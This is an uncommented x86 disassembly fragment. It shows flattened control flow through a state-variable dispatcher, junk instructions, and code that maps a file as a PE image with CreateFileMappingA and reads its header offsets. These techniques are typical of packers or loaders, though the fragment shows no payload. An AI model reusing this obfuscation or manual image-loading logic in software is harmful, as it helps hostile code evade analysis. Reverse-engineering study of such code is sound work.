call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa0], 0xf5cede47
jmp 0x41446b
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xa0], 0xbdba57c2
jmp 0x41446b
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x98]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa0], 0xfc35685e
jmp 0x41446b
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0042d620
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0xa0], 0xd79da1b4
jmp 0x41446b
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xa0], 0x392afb2b
jmp 0x41446b
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xa0], 0x3dd87b53
jmp 0x41446b
mov dword [ebp - 0xa0], 0x2d6bef66
jmp 0x41446b
mov eax, dword [ebp - 0x4c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa0], 0x543af3fe
jmp 0x41446b
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
add ecx, 0xd6b8b583
add ecx, eax
sub ecx, 0xd6b8b583
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov word [eax], 0
mov dword [ebp - 0xa0], 0x8b54d3f7
jmp 0x41446b
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xa0], 0x9735d314
jmp 0x41446b
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xa0], 0x6e9feee9
jmp 0x41446b
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xa0], 0x45ec2ea6
jmp 0x41446b
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xa0], 0x29bfc7c4
jmp 0x41446b
mov al, byte [ebp - 0x20]
mov dword [ebp - 0xa0], 0x75618a29
jmp 0x41446b
jmp 0x412cf8